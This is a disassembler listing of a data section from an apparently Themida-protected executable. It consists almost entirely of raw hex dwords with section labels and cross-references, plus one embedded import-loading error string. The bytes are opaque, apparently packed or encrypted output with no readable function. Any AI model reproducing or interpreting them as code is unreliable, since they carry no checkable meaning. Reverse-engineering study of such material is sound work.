		dd 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h, 0D79AEA4h, 2320949Ah
		dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 4387CA40h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 0D775532Ah, 52AF61FBh
		dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h
		dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
		dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
		dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h,	972337AAh
		dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
		dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
		dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h,	45939125h
		dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh,	5610E0A2h
		dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 3F22DC08h,	0BA8C18F2h
		dd 0FEF8E173h, 9DE19FA7h, 855757AFh, 6E20D6A0h,	29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah,	52AF499Bh
		dd 0C8204526h, 59703A28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
		dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
		dd 0FE0451A2h, 75D387D5h, 8C2357A5h, 0EF491786h, 8CC3DB2Fh
		dd 94751327h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h,	247668A3h
		dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
		dd 457650EDh, 0F8A851A2h, 1C18EA80h, 0DFAE5692h, 8558B9E2h
		dd 3F32DC08h, 0BA8C18F2h, 94103771h, 0CF2173E3h, 2983FB63h
		dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52AF61FBh
		dd 7726DDA1h, 0CE25FB63h, 4387CD41h, 0ECCE825Dh, 0EEECE4AAh
		dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
		dd 0D903376Bh, 48527EB0h, 327BAEA4h, 234B9592h,	0FE04FD09h
		dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
		dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah,	0FFCEB824h
		dd 9DE18FA7h, 875757AFh, 320A09Ah, 0CE25FB0Eh, 4387CD41h
		dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 48682EC0h
		dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4387C85Ah
		dd 1332DCF1h, 0BA8C18F4h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
		dd 0C88260D5h, 5975D138h, 0DF07462Ch, 52A58FE5h, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 98068FA7h, 0D9FB57AFh
		dd 485452B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 0CC32DCAAh, 168C18F7h, 8AEFCB2Fh, 96751327h,	0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 12E800h
		dd 9D340000h, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h
		dd 59D68B66h, 5E9h, 27843000h, 0C1814B49h, 7051h, 4E7ACB81h
		dd 0E6BF17B7h, 6600001Bh, 0FFAA1EBBh, 0FE931h, 0C5A40000h
		dd 6C75E7CAh, 0EFD23E00h, 0B27A6978h, 0D18A5E1Fh, 8573C681h
		dd 0F5771EAh, 683h, 890F00h, 5A000000h,	0D567C681h, 81F96C4Ch
		dd 661917C6h, 53B8667Fh, 0F831897Ah, 8B04E983h,	850F4FD6h
		dd 1Ch,	0BE9h, 0F6AA4F00h, 0EEEC51BDh, 7B2BAFAAh, 26E9h
		dd 0A4EC6700h, 0DD9D39F7h, 0EE9h, 7A2DB100h, 2CA9FBBEh
		dd 2D593BECh, 0E9DF0E52h, 0FFFFFF7Fh, 0B4E01C53h, 8D1B24A1h
		dd 0DE4598Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0BB016363h, 1585200Dh, 8D8920EDh
		dd 6071AD9h, 6E9h, 7A5C8500h, 0C79C8937h, 7101D85h, 66CC06h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 585C704h, 60733h, 8B000000h, 70FA185h, 0D1B5FF06h
		dd 8B060705h, 7131D85h,	5995FF06h, 8B060718h, 710F99Dh
		dd 0FF006A06h, 70D6995h, 0EBC08B06h, 53D65D6Ch,	0AFF509C0h
		dd 9A2D518Ch, 0CCBF0402h, 1B6D09E8h, 0A90852AFh, 0FBCFB43h
		dd 150E8828h, 4D246358h, 558560FCh, 0D9E3ED16h,	0F07F8777h
		dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 660DF9FDh,	36C0BAB6h
		dd 539F8C5Dh, 41937E7Bh, 57412C6Ch, 0A36491CAh,	0B8AE2369h
		dd 114CE839h, 630A1F44h, 0B783ADDEh, 0FC8F39E9h, 1DC7362Ah
		dd 0AFE9BAh, 2C5D0000h,	315D0499h, 2C5A0196h, 2655FC91h
		dd 1C4FF68Bh, 4159F489h, 2DC25386h, 27BC5986h, 1EB34E80h
		dd 1BB04777h, 81F2E04Eh, 0CC43960Eh, 0FD2CE3B5h, 7A3BBD64h
		dd 0FC95C44Bh, 0FF2DBC55h, 8324BD64h, 0DE4F3DEDh, 2949A3F2h
		dd 79656C56h, 0C00AA2C1h, 0D671A14Ah, 66AC962Fh, 49661AD9h
		dd 2365E3D8h, 1C87B249h, 0C4D48E0h, 0C3000000h,	7C4CA225h
		dd 0B6AC8E0Ch, 2C1BFDCCh, 3CC36AFBh, 4BD2790Ch,	50D77E19h
		dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
		dd 6711B857h
dword_5AAD2C	dd 0DE4CF68h, 980DE906h, 8131FFF9h, 1205DE8Bh, 0E56DB80Eh
					; DATA XREF: Themida_:0053DC68o
		dd 0C503060Dh, 9E8h, 0ACB75000h, 8107072Dh, 0BF667B81h
		dd 815B22B2h, 70D0C3h, 0A9858900h, 0B8060714h, 8EAD0A6h
		dd 0B492E881h, 10E908EAh, 84000000h, 0DF0DE830h, 0D9DE983h
		dd 27579442h, 8B3C0222h, 81D68B33h, 0AC0091EEh,	91C78147h
		dd 81329215h, 0D696DAF6h, 658D8B60h, 8106070Eh,	8EF275C6h
		dd 11B5895Bh, 89060707h, 158D0933h, 8306072Fh, 816604EBh
		dd 81F90CDFh, 1E8h, 0BC850F00h,	31FFFFFFh
		db 85h
byte_5AADC9	db 25h,	29h, 7		; DATA XREF: Themida_:0053D924o
					; Themida_:0053F7FCo
		dd 0DE04EB06h, 0E9467BEBh, 0CFCh, 0DE83668h, 9761E906h
		dd 3C68FFF9h, 0E9060DE9h, 0FFF99757h, 0DE9DF68h, 974DE906h
		dd 6E68FFF9h, 0E9060DEAh, 0FFF99743h, 0DED6168h, 9739E906h
		dd 7468FFF9h, 0E9060DF0h, 0FFF9972Fh, 0DF18768h, 9725E906h
		dd 9CCDFFF9h, 0A1CD7409h, 9CCA7106h, 96C56C01h,	8CBF66FBh
		dd 0B1C964F9h, 9D32C3F6h, 972CC9F6h, 8E23BEF0h,	8B20B7E7h
		dd 0F16250BEh, 3C43960Bh, 3B6E1725h, 0B52614AAh, 43960Ch
		dd 2C77432Dh, 3AC168F9h, 27D76D08h, 0A3F2C839h,	56401349h
		dd 0CBF8A14Fh, 8F28B32h, 0CF655DE5h, 0B45BFA26h, 3B29311Bh
		dd 47A2ED89h, 42EB8154h, 758E7815h, 0D84937E7h,	23439CEDh
		dd 0B3206650h, 0E0439CEDh, 28AD33FDh, 0B21FB5C1h, 47h
		dd 8A820A16h, 0DF8406F4h, 0DCAF47A2h, 0D46F9D46h, 9805D1EAh
		dd 0DC439CBFh, 0DE6C13AEh, 9CBF7FF0h, 68F7CA43h, 0C74FD435h
		dd 0FA632CFFh, 4801B259h, 8983EFEh, 0EE95305Fh,	6106B55h
		dd 0B65D15C0h, 7C71Fh, 322B0000h, 82Ch,	497C25A8h, 8E7811B8h
		dd 0AFDC5D8Dh, 0F2C23321h, 3A0D49A3h, 0CA51F899h, 9D66FB9Ah
		dd 99871D15h, 47A307EFh, 0A230D7AAh, 0D79304F2h, 0BDE439Ch
		dd 0D76EDB21h, 0B89B439Ch, 0DE10B96Eh, 9306B37Bh, 0B0515BDDh
		dd 0E5686DC6h, 0DB5E1FB5h, 0AF03AC63h, 8527971Bh, 60D2A60Fh
		dd 3E60543Eh, 0C4000000h, 0F48A820Ah, 0F5B91C4Bh, 3E1F55F3h
		dd 0B64FF697h, 54D6C4CCh, 7F47A2DAh, 0CC3905ACh, 0F9439CBAh
		dd 0FC60816h, 0B91FB5F8h, 70B80036h, 0EB4BE96Bh, 0D33E5BF7h
		dd 0F1E5CF70h, 0ADh, 69FC2C55h,	6D083BC2h, 618F38C6h, 0F0861FC6h
		dd 0A3F29102h, 1F09DC49h, 0B057EE1Eh, 0C95EF929h, 0A3EE10DDh
		dd 11A4D449h, 6CDDCB7Bh, 0B749A3EDh, 4CF3FAE4h,	39E2891Ch
		dd 3523B9B1h, 47A2FEFBh, 0EA9D596h, 870FD86Dh, 5E0BF98Fh
		dd 29419531h, 0E417C056h, 0E215BC51h, 4661794Fh, 6A99F07Fh
		dd 0A3DE9h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h
		dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h
		dd 0DDAA3FD6h, 0A10816Fh, 445B4396h, 68F92C72h,	0A1FC2CD3h
		dd 0E7193617h, 0A30CA54Ch, 1A4665EAh, 0A439DA7Bh, 8A820A32h
		dd 18406F4h, 0DCAF47A3h, 0E0FC6935h, 1240439Ch,	1749D077h
		dd 7E11D57Ch, 3ECE74B0h, 0C8EB0B8Eh, 0F201BC5Bh, 9C78AD1Eh
		dd 705DF843h, 3F4EF205h, 1C776102h, 509CC12h, 0FBF1FB6h
		dd 9CA9B021h, 3E28FB43h, 0B54Ah, 0FC2CAE00h, 5AC4B7Bh
		dd 8C35CB6Ch, 0BF20C75Ah, 652812A6h, 220CAD56h,	0B64F8209h
		dd 2676430Fh, 0A3A49A3h, 7F28D66Bh, 0CDCEB84Fh,	54ED1C9Dh
		dd 265FD0BEh, 0D7AA49A3h, 5EE68F36h, 0A8E2D066h, 3547A237h
		dd 0DEC8598Ch, 0B37C11E4h, 0ED9D332Bh, 1580B16Ah, 301A3020h
		dd 9537E2EAh, 0B0461941h, 0AC41D407h, 693FD205h, 0F07F5F2Bh
		dd 37DF608Fh, 0F0000009h, 0EA9126BFh, 0E38A1FBEh, 0DE851AB5h
		dd 0DA8116AFh, 0DE790EA7h, 3DD80BC6h, 39D401A8h, 38CBFDA4h
		dd 39CCFCA3h, 7B69D7A4h, 4396090Ah, 2C6C3E55h, 2CD368F9h
		dd 2AD369FCh, 21BA61FCh, 0DEC86592h, 0FC2C65D7h, 0B3BC269h
		dd 0C942D76Ch, 5DF3EB73h, 0A2F8C56Fh, 26AD8047h, 0D9D8821Ah
		dd 7068F0EBh, 0BA16ECDAh, 5E3197D6h, 8E860EB7h,	0D9950AF8h
		dd 0EFB091CAh, 0F28829BCh, 5D901949h, 0E3841DC4h, 3EAF9D4Dh
		dd 7B8DC639h, 0C6391C8Dh, 0C94678Dh, 0A1484F39h, 8400D671h
		dd 0E647B22Dh, 89436B7h, 1C4D0000h, 214DF489h, 1C4AF186h
		dd 1645EC81h, 0C3FE67Bh, 3149E479h, 1DB24376h, 17AC4976h
		dd 0EA33E70h, 0BA03767h, 71E2D03Eh, 0BC439609h,	7C25D3A5h
		dd 874CB550h, 8172E7D9h, 81B1B29Ch, 0E963FE6h, 24928016h
		dd 6F47A20Dh, 2B5D069Ch, 3DDE77AAh, 6CCF01A8h, 0D5F00B90h
		dd 35DC7D9Dh, 9B0AF869h, 1B8AF743h, 24AC439Bh, 52A8962Ch
		dd 6D4199D8h, 285B049Ah, 0BE4DE68Dh, 0B750F78Eh, 0FD2DB4CDh
		dd 8E1A946Ah, 3968F07Fh, 805B8h, 0F88DBE00h, 0F590BC63h
		dd 0F08BB960h, 0EC85B45Bh, 0E47DB057h, 0E19CB44Fh, 0D77E13AEh
		dd 0CF760BAAh, 0CE750A9Dh, 0A572079Eh, 8D84937h, 0C234396h
		dd 95820A3Ah, 0A3F236A7h, 0DAE8149h, 0EF1EC777h, 0D0266C56h
		dd 0EB47A2CFh, 3AE37118h, 2FC86F0Eh, 8F184445h,	6FE0CE62h
		dd 0BA439CCFh, 69F46E7h, 0F426CF65h, 6CDDCB61h,	0B7439CCFh
		dd 4CF3FAE4h, 6CEF8520h, 58CCC4ECh, 0BDD6C05Fh,	0FF958914h
		dd 0A3CDCC4Fh, 0C6059C2Dh, 761D96DCh, 6538439Ch, 816F1FCFh
		dd 439C7610h, 43B4885Bh, 8E439C76h, 4DB8D1BBh, 0E00C3A04h
		dd 57C4B045h, 94439C76h, 3721BCEBh, 0FF958914h,	9C768C11h
		dd 5FF4C743h, 4AF18CB8h, 9C75C97Eh, 0DA837943h,	528110ADh
		dd 0A472CDB7h, 1AAF4E7Ah, 1A84773h, 0FB9ACA73h,	75AECB11h
		dd 256E439Ch, 19A3261Bh, 58FC3D7Bh, 0F3B3C26h, 8712DB70h
		dd 303FB09Eh, 0B78A439Ch, 24928016h, 6F439C30h,	0E329F59Ch
		dd 802F7D4Ch, 884D939Dh, 3E9417E2h, 2587C1BBh, 362072F6h
		dd 16042h, 820AA600h, 4806F48Ah, 0F347A30Ah, 31DA8A20h
		dd 0AF4A7801h, 27CE6F08h, 73A3A48Eh, 68983FD4h,	0F5A26CDh
		dd 92C25A3Eh, 0D70731FFh, 0D404AB40h, 66F19A41h, 736DD72h
		dd 12B95480h, 16DC1079h, 1BF0F37Ch, 1C4CD37Ah, 2AD16C9Bh
		dd 0D75AF091h, 4EFEE648h, 29301A92h, 1DB35282h,	5AC4574h
		dd 77E8D66Ch, 0C2BC5606h, 20EC05EFh, 0ADCF7185h, 56CB55E8h
		dd 5047B8A6h, 0BF9249CBh, 11A4D4D5h, 0F725CE7Ch, 4171725Ch
		dd 0CB56FFA6h, 0E25341D7h, 2D49CB50h, 8A87DE92h, 6DDAD76Eh
		dd 1938A141h, 22B85914h, 0AB14C79h, 0D9808771h,	0C5750BA6h
		dd 0CBA966D7h, 0F4DEB149h, 0C5A732DBh, 0BD56FD98h, 3398861Ch
		dd 6E49CBA9h, 2F5F069Bh, 376AF198h, 4170F79Eh, 4B7A01A8h
		dd 0A95ECFBDh, 0D6A949CBh, 16E78E35h, 50990C08h, 8D2858C6h
		dd 982151F8h, 832ACB66h, 0C55B4FDAh, 7D149215h,	79034134h
		dd 76E0498Fh, 640D49CBh, 93F49B36h, 105E90F8h, 0DF7985Ah
		dd 4AB4013h, 139A41D4h,	0F89F46E1h, 0FF2F1927h,	0FC29D268h
		dd 0C9707761h, 0B868FE99h, 0CBDF59CAh, 42D1A449h, 728B7510h
		dd 295C3EC9h, 7361F798h, 49CBDF16h, 32D96E41h, 15BE6500h
		dd 1200968Ah, 49CBDFB1h, 4DE81BDCh, 0D76C0DA6h,	69FC2C65h
		dd 8B830BD4h, 2907F5h, 815447A3h, 751042EBh, 6C0739E0h
		dd 9C941CC5h, 95305D06h, 0ADAAA2Ch, 2ECEB24h, 0C79E0CFAh
		dd 58DB419Bh, 50D23B1Ah, 0DCD6C060h, 2BD46209h,	307660FFh
		dd 3D9528C3h, 55607D00h, 7DCD5142h, 0F0E87093h,	99166C5Ah
		dd 7A233B94h, 0C7C1AB4Ah, 9A3BDA06h, 0A93C6CF3h, 7ACE67D3h
		dd 0EB6C9BEEh, 512h, 66FB9ACBh,	5FF493BFh, 5AEF8AB8h, 54E984B3h
		dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h
		dd 3EAC790Eh, 9605DF50h, 41132A43h, 0F48A820Ah,	558A1B71h
		dd 4DE68D28h, 68C8EE4h,	2C26141Ch, 4747A309h, 0BC3FCD74h
		dd 850D6D0h, 84E3868h, 439C559Ah, 998737C7h, 439C5528h
		dd 1C0AA073h, 439C55ABh, 0DE3923F6h, 59478E50h,	0C1951FB6h
		dd 0F9000000h, 0A3F26AE7h, 0DD13B449h, 54CE2A73h, 0D17A10B3h
		dd 0B22311A1h, 0FD49A34Bh, 49E2892Ah, 972E5E5Fh, 0BEB23902h
		dd 37F57828h, 29C4F1E0h, 96CA4EC0h, 0F884962Dh
		dd 0CDB71777h, 0A3911E87h, 0DF865949h, 0F78D2858h, 86E52674h
		dd 65838803h, 0DE26F157h, 0F828B758h, 0BE6C735Dh, 305FE815h
		dd 0E70AF495h, 0B94C7E60h, 0B960FD2Ah, 0FBE97F20h, 49A3EB92h
		dd 5CE416BFh, 0A3EAFD6Eh, 0D4754849h, 871DF0EAh, 2C16AFDEh
		dd 0C95C8C13h, 0F0E46B34h, 0EADF6C5Ah, 692A49A3h, 60F9A03Bh
		dd 0DF4C18BFh, 2349A42Ah, 27AE55F0h, 49B45BFAh,	83F63600h
		dd 9920EC3Ah, 94210FA5h, 0DF49A3AAh, 0C9D6770Ch, 4C000000h
		dd 0F48A820Ah, 0A2CFB006h, 62F8CB47h, 0CF53C4B2h, 0D69E439Ch
		dd 9CCF77E8h, 4EEFC243h, 97C44B64h, 99346009h, 9CCF54C5h
		dd 0ACDE9F43h, 38D97219h, 0AF390297h, 0EE6932F3h, 8ABD26BFh
		dd 9D33D45Ah, 9CE04AAFh, 0BB28543h, 391873Fh, 0ED7000BAh
		dd 6250C21Dh, 439CB6F1h, 3100693Ch, 7178E10Bh, 63A5D93Ch
		dd 7EC8230Dh, 0B6595D78h, 567F1Fh, 0AE30000h, 4DF68C80h
		dd 0CF6A991Ah, 4EE8F28h, 0F29D0EFCh, 15E849A3h,	1BBAE76Eh
		dd 0E6F30285h, 81F60D53h, 3DC79097h, 0A8C5B349h, 4549A383h
		dd 8336A795h, 0AE8149A3h, 0F6A69445h, 0C6B0E788h, 8652F9CCh
		dd 49A3D519h, 16E63079h, 1402988Ch, 49A355F7h, 0C83ACFA2h
		dd 0EB4E7C25h, 9405B941h, 761DBEA7h, 0C2F2F3DDh, 45EE7C23h
		dd 3BD47B16h, 85205051h, 0A79F27F0h, 0A0396811h, 16C0AEB6h
		dd 0D147A22Bh, 1E8B57FEh, 62439BFAh, 65EC9332h,	0E885B233h
		dd 0EC35A047h, 593CE222h, 0B3CC09CFh, 51FA1FB6h, 0AA9E8823h
		dd 25h,	8A820A0Eh, 18406F4h, 0DCAF47A3h, 0D6719D46h, 9A07D3ECh
		dd 0C7439CE1h, 41945AE4h, 9B1FB5D1h, 0E2h, 69FC2CFFh, 61FC2AD3h
		dd 9D8B21BAh, 49A3F22Ch, 0A1BAA477h, 0A03D6A13h, 182B5B6h
		dd 2F9037D2h, 25684B06h, 2BCC6D47h, 3ACDFD84h, 49DC0C93h
		dd 0B5FBC8B4h, 35B849A3h, 0C7CE845Ch, 405EF55h,	5AC41D4h
		dd 9C2454D5h, 0A3C33DAEh, 14B58849h, 1745D46Dh,	9B3CD57Ch
		dd 0CBC34BF4h, 0A4594735h, 0D1A447A2h, 5EB733Ch, 0FD963DD8h
		dd 94087967h, 8053439Ch, 0CB5B49DFh, 124194F5h,	0CD00A93Fh
		dd 48F19F34h, 0CA65911Ah, 0FFE98A23h, 643ACBFEh, 0F07E991Eh
		dd 0FFF475A4h, 0B8000001h, 0B259EE87h, 0AB52E786h, 0A64DE27Dh
		dd 0A249DE77h, 0A641D66Fh, 5A0D38Eh, 19CC970h, 93C56Ch
		dd 194C46Bh, 43319F6Ch,	439602D2h, 2C34061Dh, 7DF0A0F9h
		dd 7EB21658h, 71A148DDh, 689740D6h, 0A38D26CDh,	820A2A9Ch
		dd 8406F48Ah, 0AF47A301h, 0F7A735DCh, 0E0E85947h, 6033439Ch
		dd 9CE01B8Ch, 73A56643h, 0FFA039E0h, 0E062CF15h, 0AC8F439Ch
		dd 0D2795C62h, 0E0631FB5h, 0C7000000h, 4272A225h, 5036E8D6h
		dd 0AD356566h, 0A3A44EBFh, 30C69949h, 0A3A4D142h, 0A8491C49h
		dd 0AE477A01h, 0A06E3B07h, 23249A3h, 9D20CE63h,	1FB8C5Bh
		dd 42432D3Ah, 3ECC7312h, 0E3CD6895h, 0AA4038C0h, 0A29FCEBCh
		dd 0B25B0B47h, 0A33CE382h, 9C8F5ECFh, 0ECD6A943h, 0E0891FF2h
		dd 0D56E15B0h, 931BE4EBh, 295C059Bh, 0C258F198h, 9C8F63D4h
		dd 0F1DBAE43h, 9B8939E9h, 439C8F2Ah, 72B8A275h,	4194F4CDh
		dd 761FB588h, 761DB243h, 80DCB243h, 32F07E9Ah, 0EC8203h
		dd 74A50000h, 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h
		dd 89A13CD1h, 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh
		dd 0C93A2896h, 14439601h, 0A2252BFDh, 0D9F7AB4Fh, 0B7C2CD95h
		dd 983983ECh, 0C7FAFBE5h, 0C2F2992Eh, 2C1C8E23h, 3BC269FCh
		dd 29D76C0Bh, 99C75080h, 2FB65DFEh, 26BF6601h, 0F0789B85h
		dd 177462F8h, 4247988Ch, 1141C86Fh, 0A3AE176h, 2CD56Bh
		dd 4230BE65h, 43960CD1h, 0BEA8491Ch, 23DCD9A5h,	83C30384h
		dd 0F374E5D3h, 0C3B1031Fh, 31FF352h, 6F42CA9Dh,	0F37AEBD9h
		dd 0F2C5031Fh, 0B563AD08h, 0B65DF285h, 0BA48EF86h, 0F3AB1C0Ah
		dd 23F6031Fh, 70093839h, 751042C9h, 801747CEh, 832252D9h
		dd 120711CAh, 1FF3B324h, 8A2BFE03h, 0D640CE17h,	0F75347A6h
		dd 817A4DB3h, 74A44BE0h, 3B93AE1h, 2F000000h, 0FB2C7C5Eh
		dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
		dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 13ACh, 89240C89h
		dd 4C181E1h, 83000000h,	0C8704E9h, 4B685C24h, 8900005Dh
		dd 8952242Ch, 4C281E2h,	81000000h, 4EAh, 24148700h, 240C895Ch
		dd 0E65FBE56h, 0F589060Dh, 8324348Bh, 8B5404C4h, 0C483240Ch
		dd 6A076804h, 2C890000h, 8418F24h, 592434FFh, 4C481h, 34FF0000h
		dd 0C4815D24h, 4, 0F98A7EE9h, 68D751FFh, 14C60E9Bh, 0E8E86579h
		dd 0CFAD9215h, 0DF298B8h, 0FFC50306h, 2A8E3AE0h, 0A6DC7B52h
		dd 0D6ED2778h, 89C88641h, 5909B45h, 18567C7Dh, 0AB6A473Eh
		dd 95EB454Dh, 731D97Dh,	0CE95B13Bh, 6601AD2Bh, 0C38CAC1Ah
		dd 83FE4302h, 55EECC1Fh, 0C5B1AC12h, 9E4DF043h,	97747D08h
		dd 0BE52C248h, 0DD4D720Dh, 59DF9011h, 398D8D2Eh, 6A060DF4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B0DCC351h, 5C374A2h, 8D89AC65h, 6070345h
		dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0C73252C3h, 7101D85h, 635C06h, 0C7816600h
		dd 85C793B2h, 6073305h,	0
		dd 820Fh, 0B5FF0000h, 6070469h,	0E852006Ah
		db 3
byte_5ABBA9	db 3 dup(0)		; DATA XREF: Themida_:0053DB80o
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 96C35242h, 532820BAh
		dd 0ADCDA452h, 0FFD38B66h, 7185995h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B70F09EEh
		dd 0FF006AF9h, 70D6995h
dword_5ABBF8	dd 0EBC08B06h, 37446948h, 7342D2A3h, 6FEF9FF8h,	0A81B18CEh
					; DATA XREF: Themida_:0053CB04o
		dd 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 0FAA90101h, 0BFFCF2A1h
		dd 0E42026B4h, 5E22AB32h, 3E40FC8h, 706143EFh, 369C88D6h
		dd 89128E11h, 86397E61h, 0D574DC35h, 0D8DD1330h, 127E94Ah
		dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h
		dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h
		dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h
		dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h
		dd 777h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 127CEF8Fh, 1C131134h
		dd 45335B1h, 61664235h,	9E35722Bh, 1177A9F2h, 90EF8832h
		dd 13615B4Fh, 0B8A6BFBFh, 0C699173Bh, 0A8E5D069h, 13615507h
		dd 45715632h, 1177A961h, 90EF8832h, 13615B4Fh, 0BFC9BFBFh
		dd 0C699173Bh, 0D5EDD069h, 0E1BCF9B1h, 1A66243Fh, 156601B6h
		dd 0CCE30532h, 0EA6049EEh, 1CE3AFE2h, 0EA601CEFh, 0D8E34EE2h
		dd 4360433Bh, 0BDDE705Ah, 8CD3EEAEh, 98608F3Fh,	1F167CB7h
		dd 9CB6DD34h, 126320B7h, 0BFE30534h, 456049C7h,	0E1EDA7BFh
		dd 0EA36173Fh, 126749A7h, 0F4E38334h, 1560253Ch, 0D3661132h
		dd 126F45B7h, 7C0E0134h, 0EAE8505Bh, 12638C87h,	76E30534h
		dd 0EA60430Bh, 0A8E3ABE2h, 0D360163Bh, 126F45B7h, 4B0E0734h
		dd 0EAFA4559h, 12638C87h, 76E30534h, 0EA60430Bh, 0D7E3ABE2h
		dd 0D3601CC6h, 126F45B7h, 3C0E1034h, 0EA88405Ah, 12638C87h
		dd 76E30534h, 0EA60430Bh, 0D3E3ABE2h, 0D3601CC6h, 126F45B7h
		dd 0D70E0134h, 0EABC420Ah, 12638C87h, 76E30534h, 0EA60430Bh
		dd 0DFE3ABE2h, 96601CC6h, 127F358Fh, 90694434h,	15662277h
		dd 1CAB94F4h, 7D238E35h, 0EF463AB4h, 10FB97CDh,	90EB1735h
		dd 1361B151h, 90EF94CDh, 136BD6FCh, 1CAB94F4h, 7D2A8E35h
		dd 0F54094F1h, 10FB97CDh, 90EB1735h, 1361B151h,	90EF94CDh
		dd 136BD6E0h, 156651DBh, 0D8E34E32h, 4760433Bh,	5F822F5Ah
		dd 0E8D3EE8Eh, 98608F2Dh, 125F27B7h, 9CB6DD34h,	1892DFB7h
		dd 0D8E34E34h, 4760433Bh, 592C6A5Ah, 0E8D3EE94h, 98608F2Dh
		dd 125F27B7h, 9CB6DD34h, 1892C3B7h, 0D8E34E34h,	4760433Bh
		dd 57D2C85Ah, 88D3EECFh, 98608F37h, 125F27B7h, 9CB6DD34h
		dd 126CBCB7h, 0D8E34E34h, 6260433Bh, 82CE815Ah,	90D3EEC1h
		dd 98608F22h, 125F27B7h, 9CB6DD34h, 126884B7h, 0D8E34E34h
		dd 4760433Bh, 0C857355Ah, 88D3EEB8h, 98608F37h,	125F27B7h
		dd 9CB6DD34h, 124F60B7h, 0D8E34E34h, 4360433Bh,	0A0B1B5Ah
		dd 8CD3EEE6h, 98608F3Fh, 1F167CB7h, 9CB6DD34h, 124DF4B7h
		dd 0D8E34E34h, 5260433Bh, 0C976585Ah, 88D3EEB3h, 98608F37h
		dd 125F27B7h, 9CB6DD34h, 124B30B7h, 0D8E34E34h,	5260433Bh
		dd 1AD3C05Ah, 88D3EEB8h, 98608F37h, 125F27B7h, 9CB6DD34h
		dd 1892E3B7h, 0A0DB0B34h, 15604310h, 1337A63Dh,	90A01132h
